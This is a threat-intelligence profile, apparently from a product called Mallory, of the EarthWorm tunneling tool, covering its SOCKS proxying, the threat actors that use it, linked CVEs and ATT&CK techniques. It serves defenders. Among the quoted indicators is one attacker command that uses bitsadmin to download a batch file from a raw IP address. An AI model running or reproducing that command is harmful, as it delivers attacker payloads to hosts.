Earthworm
- Type
- Proxyware
- Capabilities
- Post exploitationDefense evasionLateral movement
- Platforms
- WindowsLinuxmacOSNetwork device
EarthWorm is an open-source network tunneling and proxy utility written in C that is frequently deployed during post-exploitation activity. It supports port mapping and forwarding, SOCKS5 proxy servers, and reverse SOCKS5 connections, allowing operators to relay traffic through compromised systems and reach otherwise inaccessible internal services. It supports Windows, Linux, and macOS, with builds for ARM and MIPS architectures, and has also been deployed on compromised network appliances. EarthWorm is a dual-use networking tool rather than an inherently malicious implant.
Threat actors use EarthWorm to conceal command-and-control communications and support lateral movement through victim networks. Its use has been documented in operations involving Volt Typhoon, BackdoorDiplomacy, Earth Estries, and APT41. Deployments include intrusions affecting U.S. critical infrastructure, telecommunications organizations, government environments, and a Korean medical institution's Windows IIS server. EarthWorm has also been incorporated into the AlienReverse Linux implant for port mapping and proxying. Some operators deploy VMProtect-packed versions to hinder analysis and detection. In exploitation of PAN-OS vulnerability CVE-2026-0300, attackers deployed EarthWorm on compromised firewalls for network tunneling and outbound command-and-control connectivity. Its availability and use by multiple unrelated operators mean its presence alone does not establish threat-actor attribution.
Associated vulnerabilities
5 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
10 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Including FRPC, FScan, In-Swor, Earthworm, and Neo-reGeorg
BackdoorDiplomacy has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.
The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with hardcoded C2 callbacks.
We observed Earth Estries using the following post-exploitation tools... A VMProtected version of EarthWorm, a SOCK5 network tunnel
The Earthworm tool came as a more powerful replacement to the ageing lcx/Htran one. It incorporated lcx's core concepts ... and added SOCKS5 proxy and reverse SOCKS5 proxy functionalities.
+4 more in the app. View in Mallory
Techniques & procedures
12 distinct techniques documented for this family, organized by ATT&CK tactic.
Execution
1 technique
Execution
Successful exploitation of the vulnerability might lead to remote code execution and non-authorised access to information.
Stealth
1 technique
Stealth
During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.
Lateral Movement
1 technique
Lateral Movement
CmdOnPortMapping Launches EarthWorm to perform the port mapping ... Also implements the management of a Socks proxy
Command and Control
9 techniques
Command and Control
Then they deployed EarthWorm and ReverseSocks5 tunnels for outbound C2
Also implements the management of a Socks proxy
Some of the tools we saw used in post-compromise activity in those impacted since March 2 include: ... EarthWorm tunnel tool ... ReGeorg web shells ... Chisel
Then they deployed EarthWorm and ReverseSocks5 tunnels for outbound C2
Some of the tools we saw used in post-compromise activity in those impacted since March 2 include: ... Stowaway multi-hop proxy tool
Aria-body has the ability to use a reverse SOCKS proxy module... BADHATCH can use SOCKS4 and SOCKS5 proxies... GoBear implements SOCKS5 proxy functionality... Neo-reGeorg has the ability to establish a SOCKS5 proxy... Remcos uses the infected hosts as SOCKS5 proxies...
Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
bitsadmin from a remote host: "CSIDL_SYSTEM\bitsadmin.exe" /rawreturn /transfer getfile http://89.34.111.11/3.avi CSIDL_PROFILE\public\2.bat
CmdOnPortMapping Launches EarthWorm to perform the port mapping
Observables
3 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
40 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.